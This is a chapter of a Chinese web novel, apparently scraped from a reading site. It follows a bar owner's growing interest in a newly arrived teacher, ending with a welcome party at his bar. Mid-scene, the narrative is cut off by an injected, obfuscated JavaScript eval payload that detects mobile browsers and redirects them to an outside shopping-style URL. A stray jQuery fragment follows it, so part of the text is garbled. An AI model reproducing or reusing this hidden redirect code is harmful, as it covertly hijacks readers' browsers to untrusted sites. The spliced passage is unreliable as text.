4. Chapter4

作品:《我喜欢上你时的内心活动

    这边的路还保持着古城的原有痕迹,卵石点缀,青砖长铺,路不算太平,偶尔一步台阶,油纸伞在他手中提着,竹柄从袋子支出一截,一晃一晃。


    桐油的味道,撞着腿侧,若有若无,钻进鼻腔,又溜走。


    汴之梁偶尔在转角时,顺势瞥过眼神,落在那把奇怪的伞上,他好奇着纸伞的模样,但包裹严实的棉袋,竟连一片伞角都未曾露给他。让他不经意也联想到,这位同纸伞一般,骨架清瘦的主人。


    都这年头,竟还有人用油纸伞,说不上古板更多,还是教条更多,汴之梁真觉稀奇,连这趟送伞的路,都显得颇奇怪。


    一路脚程过去,很快,今日春纷婶没有出摊,连那几句闲聊都免了。


    汴之梁站在门口,对比着手机上的门牌号,一看,再看……


    叩门。


    门开了,里面探出一张脸。


    “梁哥!”堂惜年手里还捧着书,看清来人后径直把门甩给了汴之梁,埋头往院子深处走。


    “那个,我……”汴之梁驻足在门口,话根本来不及说完,拎了拎手里的布袋,嘴唇翕合。


    院子里很安静,大家都在各自忙自己的事,郭祁在堂屋打电话,听语气那头应该是家长,堂惜年依旧坐在竹亭下,天气热起来,凉席上的毯子已经换成了薄一些的,她问汴之梁要不要喝花茶,被他笑着婉拒。


    唯独,不见闻辞的人影。


    汴之梁在竹亭边的蒲团上落座,眼神扫过周围一圈,才道:“闻老师呢?”


    堂惜年终于从书海里抬起头来看他,略微诧异:“你不是来找郭祁的啊?”


    他不知道自己是哪里让堂惜年产生了这样的错觉,汴之梁随和笑道:“当然不是。”他晃了晃手里的东西,“我替人走一趟。”


    堂惜年的目光落在棉麻布袋上片刻,并不惊讶,眉毛一叹,随意朝后边一指:“闻老师在楼上呢。”


    顺着她手指的方向抬头,汴之梁在二楼窗台边捕捉到了一抹淡寂的身影。


    窗户两扇全推,正对着小院,窗边放置了一张书桌,旁边立着盏白色的台灯,闻辞正襟危坐,悬腕执笔,穿着白衬衫,端的是谦谦君子。


    他在写毛笔字。


    老师会练字,倒也不是什么意外的事,无论板书亦或教案,批改作业,用到文书的地方很多,一手好字,是一位教师的招牌。


    窗边的人缓缓落笔,不徐不疾,即便离得这样远,汴之梁仿佛也能够看见他五官似的,就是觉得清晰,连他眨眼的动作都能捕捉到,他始终垂着眸,一笔一划,举手投足,像一片云在漂浮。


    刚下过雨,空气里仍残留着泥土的鲜味,猛一呼吸,汴之梁脑中一颤。


    。


    汴之梁步子后撤。


    他退回到竹亭的位置,将油纸伞斜靠放在蒲团旁,“走了。”汴之梁轻轻一笑,往门外走,“回见。”


    他步子迈得很快,似乎落在石板上的节奏,都轻快几许,扬了扬手,在半空止住了堂惜年想要挽留的话。


    郭祁打完电话出来,瞥向未关的木门:“他今天走这么急?”


    堂惜年继续看书:“不知道,可能忙吧。”


    “那是谁?”


    闻辞下楼来放松筋骨,缓缓出现在身后,他没有戴眼镜,人显得俊气了许多,瞥头就见着堂惜年脚边,那把躺着的油纸伞。


    “汴之梁,你还记得吗?给你送伞。”


    闻辞望着那把伞,不知是在出神还是思考,许久后,他笑:“大概有点印象。”


    这句话,好不规范的表达。


    闻辞拎着伞上了楼,把它取出来,撑开晾在二楼的平台上。魏主任说,这个院子是校长母亲留下的,老人高寿后,便拿来充公,闻辞的房间,是院里所剩,唯一一间二楼。


    房间朝向不错,推开窗,正好能瞧见小城里,最热闹的那条街巷。


    来之前看过攻略,这是南城的旅游必经打卡地——酒馆,餐店,手鼓店,非遗手作,都赶着那条街去。


    不过至今为止,他还没有去街上逛一逛。


    一则没心情,二则调职过来后,琐事冗杂,他实在分不下心沉浸到娱乐中。


    闻辞甫一收回目光,手机便响了起来。


    看清来电显示,闻辞指尖顿了顿,划开后,将手机拿远。


    “闻辞——你tm可真行啊!!”


    “……”


    即便隔着几掌之远,听筒里吼出的字眼依旧清晰可闻,干脆的男声喋喋不休,骂了好几句,才肯罢休。


    “嗯,我可以说话了吗?”闻辞靠上了手边的书桌,指节扣住桌沿,语气平和。


    他没再听到骂声,愤懑的气音从手机里传来。


    闻辞宽慰他:“我去学校看了,还不错,没他们说的那样严重。”


    “这是重点吗?”那头咬牙怒道,“闻辞,你前程不要了?”


    “……”闻辞不作声。


    上头出了新政策,鼓励高校派老师下乡支教,闻辞一不做二不休,直接提交了转岗申请,按规矩,是不该通过的。


    为此,他还专门找过书记一趟。


    前程,这两个字,听着倒挺伟光正。


    闻辞腔调里含着笑意,似是而非:“教书育人不就是我的前程。”


    电话里,无声几许,半响后,才淡淡负气一句:“行,你真行……”


    嘟嘟两声,戛然而止。


    闻辞握着电话,垂头一声叹息,扣到桌上。转岗的事,他并没有告知好友,想来也没什么好说的,人各有志,不必强留,说多了反而徒增负担。


    “阿嚏——!”


    屋内猛地落下个喷嚏,闻辞连人带桌子,引出不小动静,阵仗落在木地板上,击荡满屋扬尘。


    一只闪着镭射光面的青色甲壳虫,从他脚边的光束里桀桀爬过。


    是碌碌虫。


    小时候,总喜欢绑了腿把它提着玩。


    闻辞用脚尖,轻轻触了触它的身体,簌簌——小虫震着亮青的翅膀,遁窗飞走了。


    他的目光,一直追随小虫飘到窗外。


    看吧,连这里的虫子,都比城里的飞得快点。


    .


    汴之梁最近很少到店里。


    他这位老板,称不上勤勉,倒也不曾怠工,到了旅游淡季,汴之梁最常做的事,便是坐在门口,投喂他那一池子的宝贵锦鲤。


    汴之梁说,这是他一池子财神爷。


    姜水也联系不上他,除了微信偶尔收到的一两个网红探店,让她负责转发到官博上,再无其他。


    某日,姜水又抱着一桶鱼食,纳了闷:“人呢,人呢,人呢。”他扭过头,和玉花阿姐抱怨:“我得把他这一池子肥鱼喂死!”


    玉花阿姐正在擦桌子:“小姜水莫慌,他嘛有自己的事情做不是?”


    姜水扣上盖子,出气似的拍了几下,似乎还不解气,作势就盯上了那满池窜动的锦鲤。


    滴滴——两声车鸣。


    “干嘛呢。”汴之梁不知何时靠在门口风铃下,抱着手臂,“小贼。”


    姜水抱着桶,淡定往里走:“稀客啊。”


    “在想你的鱼红烧还是清蒸。”


    汴之梁摇头。


    玉花阿姐从榨汁机里抬起头,笑容质朴:“梁老板,要喝点什么?”


    汴之梁从柜台里抽走了账本,语气淡淡:“倒杯茶就行。”


    然而,茶没喝,就直奔内院。


    小馆今天没什么人,只有零星几桌游客,拍拍照,闲聊唠嗑,院子里放了舒缓的民谣,其实晚间,酒馆里都有驻唱歌手的,偶尔,碰上汴之梁心情尚佳的时候,他也会上去唱一嗓子。


    那得是运气很好的时候。


    白日,无非就是将他那些歌单,翻来覆去地播。歌单里,播到了默认列表的《虚拟》。


    其实汴之梁没有在听歌,也没有在看账。


    他出神得,连一个数字都看不进去,脑子里,只剩下声音。


    唱歌的声音,说话的声音。


    那句,浅短的,门后响起的声音。


    “想什么?”眼前猝然跳出个响指。


    汴之梁被拉回现实,任由姜水坐到他对面,才翻了一页面前的账本:“哦,你记得把这个月的报销交给我,月底了。”


    姜水咬着饼干,直接跳过了话题:“你这几天干嘛呢?”


    她紧紧抓住汴之梁的眼睛,身体前倾。


    “没干嘛。”汴之梁算算账目,又下笔,“上课,还有……”他简短停顿了一下,“写歌。”


    姜水动作缓滞,眨了眨眼睛,片刻后,又什么都没问,只是“哦”了几声。


    然后,谁都没有再说话。


    汴之梁最近确实有事,但,称不上太忙。他偶尔去学校,大多时间,在家里。他去过几次学校,总是撞上闻老师上课的时段,教室在二楼,窗户总是没拉帘,闻老师身条顺,手臂长,站在黑板前写字,仰着头,瘦瘦高高。


    却看不见脸。


    汴之梁从不停留,从不强求。走过那扇门,能看多少,全凭老天施舍,走得快就一眼,走得慢就两眼,于是短短的几面,汴之梁看最多的就是模糊的侧颜。


    不过,他鼻梁很高。


    汴之梁一向不喜欢拔高期望,只是他运气太差了,差到,好几次去办公室,明明所有人都在,却唯独差他,等他走后没多久,人又回到了办公室。


    汴之梁的课少,他在有限的时间里,做好自己的工作,雷打不动经过所有闻辞可能出现的地方,教学楼,食堂,办公室,行政楼……


    无一例外,全都阴差阳错地失之交臂,像戏剧本里,被命运捉弄的主角,这层过分的欲盖弥彰,开始让汴之梁有些厌烦,甚至无趣。一个男人而已,到底值得他费多大劲。


    他开始厌烦这种等待。


    然而,到现在这一刻,他坐在店里,却不得不承认,他运气真是很差。


    汴之梁抬头,目光有些空——奇怪,店里的歌单,又播回了上一首。


    唱道:


    空空留遗憾。


    .


    汴之梁在小馆坐到日晖落下。


    斜阳从椅背的右侧,缓慢爬行,攀过他肩背时,格外慢,照得他整个头顶发丝闪着金辉,天边深处,一声课后铃响起,汴之梁眼皮动了动。


    他迷迷糊糊睁开眼,翻过手机,抬头朝院内道:“阿姐。”午后倦怠,使他嗓音染上沙哑:“南小放学了?”


    玉花阿姐坐在槐树下逗小猫,等着下班,听见这声,偏过半个身体:“是嘞,梁老板。”


    汴之梁揉了揉额角,深吸一口,小馆马上就开晚间场了,他得进去检查好设备。


    驻场歌手是汴之梁的朋友,两人有不浅的交情,他的琴通常不会带回家,都放在小馆,每次演出前,汴之梁都会帮他调音。


    然而,今天酒馆内,却出现了一个不速之客。


    “姜水?”汴之梁打开灯,在酒架前抓到了她,“你没走?”


    他走了几步,才发现姜水耳边还夹着手机,低声应着,见他来了,交代几句


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998485|193909||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后快速挂断,手中还在写着,姜水挑眉耸肩:“梁哥,给你接了个大单~”


    汴之梁对这些向来没兴趣,只简单应付了一声:“哦。”


    他随手在桌沿起开一瓶百威,嘭一声,气泡在瓶中炸开。


    “诶,现在别喝——”姜水夺过他手里酒瓶,“等下陪客人喝。”


    汴之梁施施然,拿乔打量:“我们场子,有这服务?”


    他什么身价,随便什么人也能让他陪酒?


    “什么嘛,郭祁他们包了场。”姜水推过酒单,“本来是想搞个接风宴的,大家可能觉得拘谨吧,郭祁就找我定了小馆的场子。”


    “接风宴?”


    姜水转过身去清点酒箱:“对啊,闻老师来学校后,还没和大家吃个饭呢,正好趁周末,这不凑巧。”


    “除了校长,去县里开会了,学校大家都来,门卫马叔也来呢。”


    灯光晕晕地转着,落在空间内,汴之梁觉得,自己大概是脑子睡糊涂了,竟稀里糊涂,愚蠢地问出:“哪个闻老师?”


    姜水奇怪地盯着他,似乎不太想回答,端起酒箱,直接越过他:“神经。”


    “……”


    人大概来了十七八个,一拥而入,小馆登时热络,人声很快盖过乐声。


    汴之梁不在门口迎宾,理应说,老板这种情况,都会充当门面职责,撑起场子,他独自站在吧台后,在角落静静地擦着杯子。


    满柜水晶杯,快要擦出火彩,毛巾摩擦在杯子上,发出“吱吱”的划耳声。


    第十九位。


    第二十位。


    第二十一位,是李明也,踩着人群的尾巴溜进来,同他挑了个眼。


    那个人依旧没有出现。


    “梁哥。”身后突然攀上来一双手,“今儿来这么早?”


    是酒馆的歌手阿杰,他难得在开工前看到汴之梁一次。


    “嗯,有点事。”汴之梁仍旧低头擦杯子。


    乐器伴奏已经弹了起来,给场子预热。


    “今晚歌单换一下吧。”他想了想,补充道,“换我的。”


    阿杰看了他,一番打量后,扬起神色:“梁哥,心情不错啊……”


    要知道,平日里,汴之梁连店里的歌单,都不允许有他的歌出现。


    “要你写的那几首,还是带原唱的?”阿杰问。


    汴之梁犹豫后:“写的就行。”


    他其实算个音乐工作者,当然,从前的汴之梁,很乐意承认这一点,甚至,引以为傲。


    阿杰见状,怂恿着:“自己的歌儿,你不上场?”


    汴之梁放下最后一只杯子:“还是别了。”他轻笑,关上抽屉:“我觉着我还是更适合当酒蒙子。”


    阿杰也不再说什么,他们都不太想深入探究这个话题,于是拍拍肩:“那来帮我找谱,我可没你那些稀奇古怪的旋律。”


    “行。”


    小馆门口,挂上了今日休憩的木牌。


    内院的灯光顺次亮起,露天小院文静地蹲在夜色里,只有偶尔传出的吉他声,昭示此夜未打烊。


    一声风铃响,稀碎不成章。


    门被推开的瞬间,所有目光都聚焦了过来,全场的嗓音,登时比方才拔高了调,连笑声都大了许多,争相叫着“闻老师”。接着,陆陆续续从门口一直在搬东西进来,风铃被撞得叮当响……


    满屋,嘈杂更甚。


    汴之梁是在调试键盘的音色时,撞见这一幕的。


    闻老师给所有人带的伴手礼,很快占了他大半个屋子,也不知送的是什么,盒子一个赛一个的大,有人在拆,闻老师就在旁边讲解,对面又连声赞叹,又假意推辞。酒馆有音乐,只见得人嘴动,却不闻声音。汴之梁站在吧台后,愣神看了好一会儿,都只捕捉到几个冁然的笑容。


    他默默在中控左旋按钮。


    “捣什么乱。”姜水拍开他,驱逐似的,“陪客人去,去去去——”


    音响又被调回原来的位置,人声与歌声的落差,再次缩小融汇,在微茫的空隙间,汴之梁听到短暂一声笑。


    清泉似的,格外明显。


    汴之梁睨她一眼:“你怎么不去?”


    “我傻啊。”姜水理直气壮,“你看郭祁那个样子,活脱脱要把闻老师喝趴下的架势,我不去。”


    汴之梁朝窗边的那张桌子望去。


    闻老师不算矮,但被一群人围坐着,竟显得有些收拢,大家玩骰子,郭祁倒多少,他就喝多少,不推辞也没意见,手臂自然地搭在桌上,似乎脸上总是带着亲和暧昧的笑意,与大家说话,偶尔,笑一下,带着他的肩膀也微微抖动。


    说不出的感觉。


    闻辞又输了一局。他似乎不太会玩骰子,总是被动地等待着对方的叫开,于是当数字累积到一个离谱的峰值时,便会被郭祁一叫而开。


    “闻老师,要不这杯我替你喝吧。”堂惜年终归是看不下去,她能看出闻辞不善此种场合,实在是不好意思欺负人家一个新来的。


    “堂老师,你这偏心啊。”郭祁抽走她手里的酒杯,“愿赌服输。”


    堂惜年道:“把人喝趴了还玩什么。”


    “再怎么也轮不着你喝。”郭祁不依不饶,“这杯过吧,下轮我们玩别的。”


    闻辞全程缄默,手在裤腿上,快要搓出条马里亚纳海沟,他其实真想说没关系,不过一点酒,还不至于……


    “我喝。”


    一抬头,汴之梁单手端着托盘,洋酒悠悠地晃动,他垂眼轻笑:“庄家,有意见吗?”